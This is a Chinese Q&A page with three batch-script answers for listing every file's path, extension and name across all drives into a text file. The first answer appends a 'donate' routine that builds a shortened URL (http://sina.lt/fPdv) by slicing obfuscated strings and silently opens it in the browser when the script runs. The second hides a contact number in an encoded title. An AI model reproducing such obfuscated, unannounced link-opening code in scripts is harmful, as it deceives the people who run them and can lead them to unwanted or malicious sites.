批处理如何将遍历到的磁盘内所有文件的路径、后缀名、文件名(不含后缀名)写入到a.txt中

2025-02-26 20:07:40
推荐回答(3个)
回答1:

@echo off & title 列出所有磁盘文件相关信息 By 依梦琴瑶

(for /f "tokens=2 delims==:" %%i in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
pushd "%%~i"
for /f "delims=" %%a in ('dir /a-d/s/b') do (
rem 由于Tab符会被知道服务器强制更改成空格,所以这里我先用空格代替,请复制的过去后自行改成Tab符
echo %%~a %%~xa %%~na
)
popd
))>"%~dp0a.txt"
pause

::友情码
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

回答2:

@echo off
set @=有问题联系&set #=Q&set/az=0x53b7e0b4
title %@% +%#%%#% %z%
cd /d "%~dp0"
for %%a in (C D E F E G H I J K L M N O P Q R S T U V W X Y Z) do (
    if exist %%a:\ (
        echo;[%%a] searching……
        (for /f "delims=" %%b in ('dir /a-d/b/s %%a:\') do echo;%%b %%~xb %%~nb)>>"结果.txt"
    )
)
echo;%@% +%#%%#% %z%
pause

回答3:

dir c: *.* >a.txt